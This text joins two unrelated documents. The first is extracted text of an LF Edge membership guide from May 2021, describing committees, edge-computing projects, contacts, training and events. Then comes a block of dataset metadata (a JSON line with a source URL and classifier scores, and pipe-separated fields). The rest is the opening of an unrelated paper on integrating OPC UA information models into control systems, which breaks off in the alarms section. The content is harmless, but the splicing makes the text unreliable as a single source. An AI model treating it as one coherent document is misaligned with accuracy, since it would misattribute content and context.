Marketing & Thought Leadership
- Logo on the website once your membership has been announced. LF will support with quotes on Press releases related to the project
- Marketing Committee comprised of a representative from each Member company. General Members may appoint a representative as an observer of the Marketing Committee meetings on a non-voting basis. The objective of this Committee is shaping the marketing direction for edge. The Linux Foundation will do the heavy lifting, so this is more to oversee and shape the discussion/direction with the other Members for the Marketing efforts. This person can also funnel all Marketing information back to your organization so that the key stakeholders are in the loop.
- Participate in our hosted projects and attend our events, meetups, and roadshows
Technical Steering Committee & Technical Community
- TSC meetings are open to the public and we encourage all members of the technical community to participate in the discussion moving forward.
Get Involved in the LF Edge Technical Communities
› Participation in LF Edge Projects is open to all
› Getting involved in the technical communities is the best way to learn about the projects
› **Step 1:** Get a Linux Foundation ID Here: [https://identity.linuxfoundation.org/](https://identity.linuxfoundation.org/)
› **Step 2:** Visit LF Edge Wiki ([https://wiki.lfedge.org/](https://wiki.lfedge.org/))
› **Step 3:** Join workflows for the projects and working groups, subscribe to mailing lists, ask questions, contribute!
Way to participate:
› Attend project meetings
› Attend developer events
› Join approved projects
› Propose a project
› Write documentation
› Contribute use cases
› Analyze requirements
› Define tests / processes
› Review and submit code patches
› Build upstream relationships
› Contribute upstream code
› Provide feedback through VSFG
› Host and staff a community lab
› Answer questions
› Give a talk / training
› Create a demo
› Evangelize LFE and its projects
Join Us!
Contact Mike Woster, mwoster@linuxfoundation.org
LF Edge, bringing Edge initiatives together
IOT+Telecom+Cloud+Enterprise
LF Edge Projects
Akraino
Brief Description
Akraino aims to create an open source software stack that supports high-availability cloud services optimized for edge computing systems and applications.
Contributed by
AT&T in February 2018
Key Contacts
Tina Tsou, Arm, TSC Chair, TAC Voting Member
Oleg Berzin, Equinix, TSC Vice-Chair
Key Links
Website: https://www.lfedge.org/projects/akraino
Wiki: https://wiki.akraino.org/
Gerrit: https://gerrit.akraino.org/r/#/q/status:open
Documentation: https://wiki.akraino.org/display/AK/Documentation
Mail Lists: https://lists.akraino.org/g/main
Slack: https://slack.lfedge.org/
(#akraino / #akraino-blueprints / #akraino-devprojects / #akraino-help / #akraino-tsc)
Technical Steering Committee (TSC)
Blueprints
https://wiki.akraino.org/pages/viewpage.action?pageId=1147243
Baetyl
Brief Description
Baetyl (pronounced “Beetle”) offers a general-purpose platform for edge computing that manipulates different types of hardware facilities and device capabilities into a standardized container runtime environment and API, enabling efficient management of application, service, and data flow through a remote console both on cloud and on prem. Baetyl also equips the edge operating system with the appropriate toolchain support, reduces the difficulty of developing edge calculations with a set of built-in services and APIs, and provides a graphical IDE in the future.
Contributed by
Baidu in August 2019
Key Contacts
Leding Li, Baidu, TSC Chair
Key Links
Website https://baetyl.io/
Wiki https://github.com/baetyl/baetyl/wiki
GitHub https://github.com/baetyl/baetyl
Documentation https://baetyl.io/en/docs/overview/What-is-Baetyl
Mail Lists https://lists.lfedge.org/g/main/subgroups
Slack https://slack.lfedge.org/ (#baetyl / #baetyl-tsc)
WeChat https://baetyl.cdn.bcebos.com/Wechat/Wechat-Baetyl.png
Technical Steering Committee (TSC)
https://github.com/baetyl/baetyl/wiki/Technical-Steering-Committee-(TSC)
EdgeX, your data liberated! Highly flexible open source software framework that facilitates interoperability between heterogeneous devices and applications at the IoT Edge, along with a consistent foundation for security and manageability regardless of use case.
Contributed by
Dell in April 2017
Key Contacts
Jim White, IOTech, TSC Chair
Henry Lau, HP Inc., TAC Voting Member
Key Links
Website https://www.lfedge.org/projects/edgexfoundry/
Wiki https://wiki.edgexfoundry.org/
GitHub https://github.com/edgexfoundry
Documentation https://docs.edgexfoundry.org/
Mail Lists https://lists.edgexfoundry.org/g/main/subgroups
Slack https://slack.edgexfoundry.org/
Getting Started Guide https://docs.edgexfoundry.org/1.2/getting-started/
Project EVE
Brief Description
An open abstraction engine that simplifies the development, orchestration and security of cloud-native applications on distributed edge hardware. Supporting containers, VMs and unikernels, EVE provides a flexible foundation for Industrial and Enterprise IoT edge deployments with choice of hardware, applications and clouds.
Contributed by
ZEDEDA in January 2019
Key Contacts
Erik Nordmark, ZEDEDA, TSC Chair
Key Links
Website https://www.lfedge.org/projects/eve/
Wiki https://wiki.lfedge.org/display/EVE/Project+EVE
GitHub https://github.com/lf-edge/eve
Documentation https://github.com/lf-edge/eve/tree/master/docs
Mail Lists https://lists.lfedge.org/g/eve-tsc
https://lists.lfedge.org/g/eve
Slack https://slack.lfedge.org/ (#eve / #eve-help)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/display/EVE/TSC-Project+EVE+Technical+Steering+Committee
Fledge
Brief Description
Fledge is an open source framework and community for the Industrial Edge. Architected for rapid integration of any IIoT device, sensor or machine all using a common set of application, management and security REST APIs with existing industrial "brown field" systems and clouds.
Contributed by
Dianomic and OSIsoft in September 2019
Key Contacts
Mark Riddoch, Dianomic, TSC Chair
Key Links
Website: https://www.lfedge.org/projects/fledge/
Wiki: https://wiki.lfedge.org/display/FLEDGE/Fledge+Home
GitHub: https://github.com/fledge-iot
Documentation: https://fledge-iot.readthedocs.io/
Mail Lists: https://lists.lfedge.org/g/fledge
https://lists.lfedge.org/g/fledge-tsc
Slack: https://slack.lfedge.org/
(#fledge / #fledge-help / #fledge-tsc)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/pages/viewpage.action?pageId=10389276
Quick Start Guide
Home Edge
Brief Description
Interoperable, flexible, and scalable edge computing services platform with a set of APIs that can also run with libraries and runtimes.
Contributed by
Samsung Electronics in June 2019
Key Contacts
Myeonggi Jeong (MJ), Samsung, TSC Chair
Key Links
Website https://www.lfedge.org/projects/homeedge/
Wiki https://wiki.lfedge.org/display/HOME/Home+Edge+Project
GitHub https://github.com/lf-edge/edge-home-orchestration-go
Mail Lists https://lists.lfedge.org/g/homeedge-tsc
Slack https://slack.lfedge.org/ (#homeedge / #homeedge-tsc)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/pages/viewpage.action?pageId=1671336
Open Horizon
Brief Description
Open Horizon is a platform for managing the service software lifecycle of containerized workloads and related machine learning assets. It enables management of applications deployed to distributed webscale fleets of edge computing nodes and devices without requiring on-premise administrators.
Contributed by
IBM in April 2020
Key Contacts
Joe Pearson, IBM, TSC Chair
Key Links
Website: https://www.lfedge.org/projects/openhorizon/
Wiki: https://wiki.lfedge.org/display/OH/Open+Horizon
GitHub: https://github.com/open-horizon
Mail Lists: https://lists.lfedge.org/g/open-horizon
https://lists.lfedge.org/g/open-horizon-tsc
Slack: https://slack.lfedge.org/ (#open-horizon /
#open-horizon-help / #open-horizon-tsc)
Technical Steering Committee (TSC)
https://wiki.lfedge.org/display/OH/%28TSC%29+Technical+Steering+Committee
Secure Device Onboard
**Brief Description**
The mission of the Secure Device Onboard project is to develop open source software to support an automated “Zero-Touch” onboarding service in order to more securely and automatically onboard and provision a device on edge hardware. This zero-touch model simplifies the installer’s role, reduces costs and eliminates poor security practices, such as shipping default passwords.
**Contributed by**
Intel in June 2020
**Key Contacts**
Rich Rodgers, Intel, TSC Chair
**Key Links**
[Website](https://www.lfedge.org/projects/securedeviceonboard/)
[Wiki](https://wiki.lfedge.org/display/SDO/Secure+Device+Onboard)
[GitHub](https://github.com/secure-device-onboard)
[Mail Lists](https://lists.lfedge.org/g/SDO)
[Mail Lists](https://lists.lfedge.org/g/SDO-TSC)
[Slack](https://slack.lfedge.org/) (#sdo-general / #sdo-help / #sdo-tsc)
State of the Edge
Brief Description
State of the Edge is an open source research and publishing project with an explicit goal of producing original research on edge computing, without vendor bias. The State of the Edge seeks to accelerate the edge computing industry by developing free, shareable research that can be used by all.
Contributed by
Vapor IO and Packet
Glossary - June 2018
SOTE - April 2020
Key Contacts
Matthew Trifiro, Vapor IO, TSC Chair
Jacob Smith, Packet, TSC Co-Chair
Key Links
Website https://www.lfedge.org/projects/stateoftheedge/
Wiki https://wiki.lfedge.org/display/GLOSSARY/State+of+the+Edge
GitHub https://github.com/State-of-the-Edge
Mail Lists
https://lists.lfedge.org/g/stateoftheedge
https://lists.lfedge.org/g/glossary-tsc
https://lists.lfedge.org/g/glossary-wg-landscape
Slack
https://slack.lfedge.org/
(#glossary / #glossary-landscape / #glossary-taxonomy / #glossary-tsc)
Landscape https://landscape.lfedge.org/
State of the Edge Reports
https://www.stateoftheedge.com/reports/
Open Glossary of Edge Computing
https://github.com/State-of-the-Edge/glossary
Getting Involved with LF Edge Projects and Committees
<table>
<thead>
<tr>
<th>Activity</th>
<th>Implementation</th>
<th>Support</th>
</tr>
</thead>
<tbody>
<tr>
<td>Co-promotion of project related updates, releases, and news via LF Edge social media accounts</td>
<td>Attend Outreach Committee meetings and participate in LF Edge driven marketing and outreach activities</td>
<td>Publish use cases, case studies, white papers, and deployment insights</td>
</tr>
<tr>
<td>Host vendor neutral content via LF Edge blog site</td>
<td>Get support for artwork, web site, content creation, etc., related to LF Edge and its projects</td>
<td>Be featured in the LF Edge Member Spotlight series</td>
</tr>
<tr>
<td>Volunteer for planning initiatives such as developing annual marketing plan, preparing for major event, etc.</td>
<td>Identify LF Edge speaking opportunities in your region and help secure speakers from the LF Edge community</td>
<td>Help secure user stories about LF Edge based deployments.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Participate on the LF Edge Speakers Bureau</td>
</tr>
</tbody>
</table>
## How Members Engage: LF Edge Technical Projects
<table>
<thead>
<tr>
<th>Participate in the development efforts: Review and submit code patches, report bugs, request new features, etc.</th>
<th>Attend developer events for LF Edge projects</th>
<th>Contribute to documentation</th>
<th>Provide your testing and deployment feedback via appropriate project channels</th>
</tr>
</thead>
<tbody>
<tr>
<td>Join the projects’ mailing lists and participate in the discussions</td>
<td>Start a local User Group Meetup</td>
<td>Join the LF Edge Technical Advisory Council (TAC) calls and subscribe to the TAC mailing list</td>
<td>Contribute to the Open Glossary of Edge Computing</td>
</tr>
</tbody>
</table>
## How Members Engage: Technical Advisory Council (TAC)
| Support TAC leadership in inviting speakers | **Attend TAC**
**Bi-weekly calls, participate in the discussion, volunteer** | Share success stories, opportunities and challenges with the broader technical community to seek input from peers | Identify opportunities for collaboration on common interests and initiatives |
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Support technical leadership for harmonization efforts with other open source communities within and beyond LF Edge</td>
<td>Support TAC in hosting and sponsors intra-project and inter-project in-person developer events for LF Edge projects</td>
<td><strong>Support TAC in evaluating new projects for inclusion in LF Edge</strong></td>
<td>Support TAC Chair who works with the Governing Board to highlight the Projects’ collective opportunities and any resource needs</td>
</tr>
</tbody>
</table>
*The Linux Foundation*
Display Your LF Edge Membership Badge
These badges are available (svg and png) from the LF Edge GitHub:
https://github.com/lf-edge/artwork
**Members** can display membership badges on booth collateral and on their website.
LF Edge Members showcased on LF Edge and Linux Foundation websites, as well as the new LF Edge Landscape.
Brief the Editor of State of the Edge
New members have the benefit of scheduling a 30 minute briefing with the Lead Editor of State of the Edge, Matt Trifiro.
Ask Mike Woster for an introduction to Matt to schedule this call.
See 2021 State of the Edge Report
State of the Edge is an open source research and publishing project with an explicit goal of producing original research on edge computing, without vendor bias. The State of the Edge seeks to accelerate the edge computing industry by developing free, shareable research that can be used by all. The SotE Project contains LF Edge’s Glossary and Landscape projects.
Join the LF Edge Speakers Bureau (Member Benefit)
The LF Edge Speakers Bureau connects speakers who are LF Edge ambassadors who are willing to speak at events on the topics they are proficient in with event managers, meetup organizers and company conferences. Event organizers work directly with the LF Edge PR and Marketing team to secure speakers for their global events.
LF Edge Members: Sign up to be a Speaker today!
› Step 1: Fill out form
› If you have trouble accessing the form above, email pr@lfedge.org for assistance
› Step 2: Send your photo to pr@lfedge.org
Linux Foundation Training Courses
Free Courses
› A Beginner’s Guide to Open Source Software Development
› Compliance Basics for Developers
› Fundamentals of Professional Open Source Management
› Business Considerations for Edge Computing
Paid Courses
› Introduction to Open Source Development, Git, and Linux
› DevOps for Network Engineers
› Getting Started with EdgeX Foundry (LFD213)
Contact training@linuxfoundation.org to get your member discount on eLearning, Instructor Led (Onsite & Virtual), and Certifications.
Linux Foundation edX and Training Courses
› Business Considerations for Edge Computing: https://www.edx.org/course/business-considerations-for-edge-computing
› Getting Started with EdgeX Foundry (LFD213): https://training.linuxfoundation.org/training/getting-started-with-edgex-foundry-lfd213/
Upcoming External Events
- Embedded IoT World: 28-29 April, 2021 - Virtual
- Kubernetes on Edge Day: 4 May, 2021 - Virtual
- Think 2021: 11-12 May, 2021 - Virtual (ORRA presentation)
- Open Source Summit Europe / Embedded Linux Conference: 28 Sept - 1 Oct, 2021 - Dublin, Ireland
- CFP Deadline: 13 June, 2021
- OSPOCon: 29 Sep - 1 Oct, 2021 - Dublin, Ireland
- CFP Deadline: 13 June, 2021
- IoT Solutions World Congress: 5-7 October, 2021 - Barcelona, Spain
- CFP closed (notifications in June)
- Call for Testbeds is open (closes 20 May)
- Open Networking & Edge Summit North America: 11-12 October, 2021 - Los Angeles, CA + Virtual
- KubeCon + CloudNativeCon North America: 12-15 October, 2021 - Los Angeles, CA + Virtual
- CFP is open (closes 23 May)
- Discussions around upcoming events occur in the LF Edge Outreach Committee
- Members may subscribe at: https://lists.lfedge.org/g/outreach-committee
Full list of LF events available at: https://events.linuxfoundation.org/
Additional LF Edge events available at: https://www.lfedge.org/events/
Stay Connected for the Latest Updates
@LF_Edge
https://twitter.com/Lf_edge
https://www.youtube.com/channel/UCY7H1oSt8gvXNdXH9wrNq5Q
LF Edge
(www.lfedge.org)
Bringing Edge Initiatives Together
IOT | Telecom | Cloud | Enterprise
|
{"Source-Url": "https://www.lfedge.org/wp-content/uploads/2021/05/Getting-Involved-with-LF-Edge-may2021.pdf", "len_cl100k_base": 6303, "olmocr-version": "0.1.50", "pdf-total-pages": 42, "total-fallback-pages": 0, "total-input-tokens": 54511, "total-output-tokens": 7863, "length": "2e12", "weborganizer": {"__label__adult": 0.0003812313079833984, "__label__art_design": 0.0007672309875488281, "__label__crime_law": 0.0004580020904541016, "__label__education_jobs": 0.005054473876953125, "__label__entertainment": 0.000263214111328125, "__label__fashion_beauty": 0.00025153160095214844, "__label__finance_business": 0.01253509521484375, "__label__food_dining": 0.0004429817199707031, "__label__games": 0.001171112060546875, "__label__hardware": 0.010162353515625, "__label__health": 0.0006594657897949219, "__label__history": 0.0005288124084472656, "__label__home_hobbies": 0.0004117488861083984, "__label__industrial": 0.0014476776123046875, "__label__literature": 0.00027751922607421875, "__label__politics": 0.0007467269897460938, "__label__religion": 0.0004968643188476562, "__label__science_tech": 0.2388916015625, "__label__social_life": 0.0002884864807128906, "__label__software": 0.0819091796875, "__label__software_dev": 0.6416015625, "__label__sports_fitness": 0.0002791881561279297, "__label__transportation": 0.0007119178771972656, "__label__travel": 0.0002579689025878906}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 26323, 0.01352]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 26323, 0.0094]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 26323, 0.79739]], "google_gemma-3-12b-it_contains_pii": [[0, 74, false], [74, 243, null], [243, 885, null], [885, 1222, null], [1222, 1806, null], [1806, 1826, null], [1826, 2705, null], [2705, 3177, null], [3177, 4282, null], [4282, 4577, null], [4577, 5045, null], [5045, 5279, null], [5279, 5279, null], [5279, 5779, null], [5779, 6466, null], [6466, 7456, null], [7456, 10066, null], [10066, 11070, null], [11070, 11204, null], [11204, 11221, null], [11221, 12082, null], [12082, 13232, null], [13232, 14075, null], [14075, 14986, null], [14986, 15930, null], [15930, 16598, null], [16598, 17455, null], [17455, 18333, null], [18333, 19449, null], [19449, 19503, null], [19503, 21023, null], [21023, 21627, null], [21627, 22667, null], [22667, 22893, null], [22893, 22999, null], [22999, 23627, null], [23627, 24204, null], [24204, 24734, null], [24734, 25030, null], [25030, 26093, null], [26093, 26227, null], [26227, 26323, null]], "google_gemma-3-12b-it_is_public_document": [[0, 74, true], [74, 243, null], [243, 885, null], [885, 1222, null], [1222, 1806, null], [1806, 1826, null], [1826, 2705, null], [2705, 3177, null], [3177, 4282, null], [4282, 4577, null], [4577, 5045, null], [5045, 5279, null], [5279, 5279, null], [5279, 5779, null], [5779, 6466, null], [6466, 7456, null], [7456, 10066, null], [10066, 11070, null], [11070, 11204, null], [11204, 11221, null], [11221, 12082, null], [12082, 13232, null], [13232, 14075, null], [14075, 14986, null], [14986, 15930, null], [15930, 16598, null], [16598, 17455, null], [17455, 18333, null], [18333, 19449, null], [19449, 19503, null], [19503, 21023, null], [21023, 21627, null], [21627, 22667, null], [22667, 22893, null], [22893, 22999, null], [22999, 23627, null], [23627, 24204, null], [24204, 24734, null], [24734, 25030, null], [25030, 26093, null], [26093, 26227, null], [26227, 26323, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 26323, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 26323, null]], "pdf_page_numbers": [[0, 74, 1], [74, 243, 2], [243, 885, 3], [885, 1222, 4], [1222, 1806, 5], [1806, 1826, 6], [1826, 2705, 7], [2705, 3177, 8], [3177, 4282, 9], [4282, 4577, 10], [4577, 5045, 11], [5045, 5279, 12], [5279, 5279, 13], [5279, 5779, 14], [5779, 6466, 15], [6466, 7456, 16], [7456, 10066, 17], [10066, 11070, 18], [11070, 11204, 19], [11204, 11221, 20], [11221, 12082, 21], [12082, 13232, 22], [13232, 14075, 23], [14075, 14986, 24], [14986, 15930, 25], [15930, 16598, 26], [16598, 17455, 27], [17455, 18333, 28], [18333, 19449, 29], [19449, 19503, 30], [19503, 21023, 31], [21023, 21627, 32], [21627, 22667, 33], [22667, 22893, 34], [22893, 22999, 35], [22999, 23627, 36], [23627, 24204, 37], [24204, 24734, 38], [24734, 25030, 39], [25030, 26093, 40], [26093, 26227, 41], [26227, 26323, 42]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 26323, 0.03991]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
e6d17bb6e4e79358ee723c1b8cedb60b0c79ca71
|
Strategy for the amendment of plant information models by means of OPC UA
Eugen Reiswich
Software Engineering Group
University of Hamburg
Hamburg, Germany
reiswich@informatik.uni-hamburg.de
Alexander Fay
Automation Technology Institute
Helmut-Schmidt-University
Hamburg, Germany
alexander.fay@hsu-hh.de
Abstract—Companies with established and reliable control systems are often confronted with the question of how to benefit from upcoming innovations in science and practice without removing or extensively changing their systems. One of the currently often discussed innovations is the new standard OPC Unified Architecture (OPC UA). OPC UA provides an improved data transport and a semantically rich information model with the aim to improve operators supervisory and control tasks.
OPC UA is a promising candidate to provide the next generation platform for control system development that better meets today’s technological and business requirements. However, during our research activities over the last three years in two projects with industry partners, we encountered difficulties in introducing OPC UA concepts into existing control systems as many currently proposed integration solutions either replace existing systems or provide technology-driven integration solutions which are unable to reveal the innovational strength to operators and engineers. Companies wishing to benefit from upcoming OPC UA concepts and adjust their control systems towards the state of the art also wish to protect their investments in existing tools, data sources and employees’ training. In this paper we approach OPC UA from a user-centered design view. We first derive requirements on how to improve the operators’ and engineers’ work situation. Subsequently we show which OPC UA information model properties can cope with these requirements in a standardized way. Finally we present our observations on the challenges faced by companies when introducing new technologies into existing control systems and we propose an evolutionary strategy on how to combine existing tools and models with new concepts.
Keywords—OPC UA, information model, user-centered design approach, evolutionary integration.
I. INTRODUCTION
Many companies run control systems which have been developed and steadily improved over years, but eventually risk to expire as soon as new technologies emerge. When companies encounter new technologies they can usually decide to either redevelop existing systems or to integrate new concepts. While a redevelopment requires massive system changes and is thus virtually impossible, the integration success mainly depends on the chosen strategy. Rather than introducing new concepts in one big step, nowadays software engineers prefer an iterative approach that incrementally introduces many minor changes [1]. Current evolutionary integration approaches in the realm of OPC UA try to retain existing systems using software technical concepts like wrapper, proxies, gateways and adapters [2]. These approaches however limit new solutions, leaving operators and engineers - despite all the integration effort - with yesterday’s problems.
OPC UA is still in an early stage of adoption and current publications and discussions almost exclusively focus on technological aspects like web technology, security, platform independence and data transport [3], [4]. On the other hand the OPC UA information model has the opportunity to improve operator’s and engineer’s work situation supplying semantically rich plant information like device types, hierarchical plant structures and corresponding views. However, during our work with industry partner we repeatedly noticed that we need to provide further benefits beyond the semantically rich plant information to justify the integration effort. Operators and engineers especially requested scenarios that demonstrate how information models can significantly improve supervisory and process control situations. Moreover companies requested integration solutions that reuse most of the existing control system’s tools and models and thus reduce the integration effort and risks.
Based on 3 years of experience in two projects on control systems for particle accelerators we had the chance to develop applications based on new information models. In this article we will provide an overview of current solutions for the fundamental control system tasks as Data Access (DA), Alarms & Events (A&E) and Historical Data Access (HDA) at HMI-layer. Then we will show how these proposals can be addressed by OPC UA information models in a standardized way. Finally we will demonstrate how OPC UA based concepts can be evolutionary integrated in existing control systems without entirely replacing them.
After a short overview of OPC UA we summarize problems we have encountered while introducing new technologies into existing control systems. We then present user-centered scenarios on how information models can improve supervisory and control tasks, propose appropriate solutions and an evolutionary integration approach. Finally we present a set of problems we have not found solutions for yet and discuss ideas how to deal with them.
II. OVERVIEW OVER THE CHALLENGES INTEGRATING NEW TECHNOLOGIES IMPOSE
After the successful adoption of OPC in thousands of applications follow-up the standard OPC UA has been introduced to satisfy new technological and business requirements. To better set former OPC apart from OPC UA it is now called Classic OPC. The fundamentals of OPC UA are data transport and information modeling [3, p. 19]:
- **Data transport**: the major improvements in data transport concern the renunciation of COM/DCOM technology towards a platform-independent, secure and reliable technology.
- **Information modeling**: In OPC the semantics of provided data is usually limited to the tag name and some additional properties [3, p. 19]. OPC UA information models provide semantically enriched plant information like device types, hierarchal plant structures and corresponding views that can help to create subsets of large plant structures.
Although these concepts sound fairly reasonable, integrating them on top of existing control systems imposes a host of challenges. Some of them stem from mainly technology-centered discussions, others stem from versatile but insufficient integration solutions in the very early adoption phase where existing control systems have to be combined with new concepts.
A. User-centered vs. technology-centered design
When new technologies need to be integrated into existing systems, one can distinguish between user-centered and technology-centered design approaches [5, 6]. While the technology-centered design approach primarily focus on the technical product and its performance aspects, the user centered-design approach considers a product from the end user perspective with the aim to improve and better support human work. Current publications and discussions in the realm of OPC UA almost exclusively focus on technological aspects with a focus on platform independency, security, data transport and web technology. Whereas user-centered improvements are primarily motivated by semantically rich plant information models. During our work with industry partner we repeatedly noticed that existing control systems already provide many of the plant information OPC UA promotes, although they are often spread over many resources. While the information model benefits are not very prominent at first glance, the integration effort with wide-ranging changes to existing systems in contrast is. In this situation companies seek for answers to the following questions:
- **How to protect investments in tools and training?** Many control systems have been developed and steadily improved for years. Hence companies usually intend to protect their investments in tools and training and requested solutions that upgrade existing systems.
- **Which benefits can users gain from information models beyond semantically rich plant data?** During our workshops and interviews, operators and engineers especially asked for practice-oriented scenarios that demonstrate how information models can improve supervisory and process control tasks.
B. Evolutionary integration
Control system software is according to Lehman’s program classification an E-type system [7] and thus evolves in a changing environment. These changes are caused by users and upcoming technological innovations. Rather than replacing existing systems by upcoming innovations in a big bang, evolutionary strategies that favor minor changes in an iterative process proved to be more promising [1]. When existing systems face new technologies companies need to clarify the following questions:
- **How to migrate available information and new models?** Existing control systems already incorporate many models e.g. within CAE-tools, engineering databases and in piping and instrumentation diagrams. Reusing these models would be most helpful.
- **How to integrate existing software and new concepts iteratively?** OPC UA proposes many improvements in data transport and information modeling. An evolutionary integration strategy should allow operators and engineers to start incrementally with the obvious improvements where most benefits are expected. This practice also helps them to understand and handle the sometimes overwhelming technical details.
Many integration aspects have already been discussed to some extent and first evolutionary integration solutions appear [3, p. 293ff], [8], [9] however with some conflicting outcomes:
- **Wrappers**: wrappers enable new OPC UA clients to access classic OPC servers through mappings between OPC UA and COM technology [2], [3]. While this approach leaves existing servers mainly untouched, it is unable to expose new functionality to clients as classic servers are unaware of new OPC UA concepts. OPC UA clients are therefore limited, despite the integration effort, to the functionality of classic OPC servers [2]. Moreover it is not clear how new OPC UA and classic clients should interact.
- **Proxies**: proxies enable classic OPC clients to access new OPC UA servers [2]. The advantage of this approach is that classic clients remain nearly untouched. Classic clients are however unaware of new OPC UA features and thus don’t use them by default.
- **Gateways and adapters**: Gateways provide real-time, alarm and history based information from a single source rather than contacting three different classic OPC servers [3]. Adapters are special gateways individually developed for control systems to better expose new OPC UA features and improve interoperability [2]. Neither gateways nor adapters provide upgrade solutions for existing tools to facilitate new concepts and improve user workflows.
Although first integration solutions exist, they also introduce new questions leaving control system developers in an uncertain situation on how to avoid looming disadvantages and gain most of the upcoming advantages.
C. Our approach in a nutshell
Approaching new technologies from a user-centered design view we identified the information model to be the most obvious candidate to improve operator’s and engineer’s work situation. In several user interviews and workshops we identified scenarios and state of the art solutions on how models can improve supervisory and process control situations. Consequently we have implemented these scenarios in a prototype and studied which model characteristics can improve and unify existing solutions in a standardized way. Thereby we present an evolutionary, client-side integration solution which doesn’t influence existing servers and at the same time reveals the power of information models to operators and engineers.
Thus we begin with the integration in small steps within a bounded context in order to reduce the overall integration risks.
We further reduce the integration effort by reusing information provided by existing models and upgrade existing tools where possible. As models change over time they are threatened by data erosion. In order to reduce this threat we provide engineers with synchronization tools and concepts that are able to detect and resolve deviations between existing and new models.
III. INFORMATION MODELS FOR DATA ACCESS
A. Display Design
Operators supervise control processes and interact with the automation system using schematic displays. In many control system developing displays is still a manual task dominated by copy & paste operations. This is expensive, time-consuming and hampers later reconstructions [10]. There are several ongoing research activities trying to automate display development by reusing engineering data from previous planning phases [10], [11], [12]. In our approach, we pursue a semi-automatic display development based on the ObjectTypes concept as proposed in [13]. ObjectTypes enable to assign similar devices e.g. temperature sensors to a common device type like PT 100. Instead of configuring hundreds or thousands of individual device instances, display designer rather configure types and transfer these settings to associated device instances [13]. This configuration can encompass e.g. the widget used in HMIs, alarm behavior and corresponding faceplates for detailed control.
B. Evolutionary integration
To implement the above mentioned concept we have used several concepts in combination:
- **OPC UA information model**: contains all device instances of interest and corresponding device types. In our approach we do not interfere with existing servers and corresponding data transport for real-time data. Thus we integrate the information model client-side by providing additional interfaces that enable new DA-client features e.g. browsing the information model’s address space (see Figure 1).

- **OPC UA Type Library**: contains all device types available from the InformationModel.
- **Widget library**: most control systems already provide a WidgetLibrary containing templates with commonly used widgets. We reuse these libraries.
- **TypeConfigurationService**: this service is used to link OPC UA device types with existing widgets and additional configuration information. As these configurations are related to display design and thus to UI, the TypeConfigurationService makes it possible to split UI and non-UI related code and keep the information model small and manageable.
Display designers configure types by navigating through a TypeLibraryTool, selecting the type of interest and linking it to a corresponding widget, alarm behavior or faceplate. Once the type-based configuration is finished, display designer browse the InformationModelTool to find concrete device instances of interest and drag and drop them into displays (see Figure 2). During the drop process the type information of the selected device is used to retrieve all HMI relevant information.

The type library and information model tools incorporate many new OPC UA based concepts and thus have usually to be newly developed. According to [13] creating displays based on a type concept allows:
- **Reconfiguration**: InformationModel and TypeLibrary properties change over time e.g. server connection properties are added later on or modified, widget colors and alarm behaviors are changed. Type-based configuration tools enable operators to perform these changes in one single place.
• **Validation concepts:** Widgets in displays are loosely coupled with corresponding devices within the *InformationModel* through a DeviceID. We used this connection to detect changes within the *InformationModel* e.g. delete operations, broadcasted these events to displays and marked corresponding widgets as deleted. Hence operators are able to faster indicate dangling widgets and improve the display’s quality. Types can expose properties with boundary information like MIN and MAX values. When widgets are linked to types validation concepts can help to detect whether a type can satisfy a widget’s interface e.g. a temperature widget is improper for a magnetic valve type. Many such validations can be done at display design-time and thus reduce errors during run-time.
• **Connecting devices to displays:** in some cases e.g. when alarm situation occur, operators need to know in which displays a specific device is represented. Maintaining these relationships is often a manual process, which is error-prone and expensive. Using the DeviceID stored in widgets, we developed algorithms that automatically scan all displays and find those containing the devices of interest.
The display design example we have chosen deals with rather simple devices. However, the device type concept has the ability to also support more complex devices like turbines and engines although more configuration effort is required.
IV. INFORMATION MODELS FOR ALARMS & EVENTS
**A. Alarm challenges**
In alarm situations, operators often need to handle many alarms within a short period or react to dispensable alarms caused by devices in maintenance. Well established and proven alarm philosophies help to cope with this situation and reduce alarms at their source by providing better alarm configurations [14], [15]. Nonetheless most experts agree that even the best alarm philosophy and configuration will not avoid alarm floods or alarms caused by devices in maintenance [15, p. 22], [16]. In addition to that, many alarm lists are unstructured and thus hamper operators alarm awareness [17].
Instead of trying to optimize the alarm configuration we rather focus on providing operators with better tool support that can help to cope with the mentioned problems. As stated in [15, p. 22] the overall alarm situation can be improved by providing operators with extra details on the plant area affected, associated schematics and trends. We thus used the information model’s hierarchical plant structure and developed tools that are able to assign alarms to corresponding devices within a hierarchy and such improve operator’s assessment in critical situations. The hierarchical structure also helps to mute entirely plant sections and thus filter e.g. maintenance alarms (see Figure 3).
In large automation systems operators have to deal with thousands of devices. Information models providing a view concept helped us to develop tools which enable operators to create named filters as proposed in [15, p. 114] with a hierarchical subset of a plant with devices of interest and thus help to concentrate on relevant plant sections.
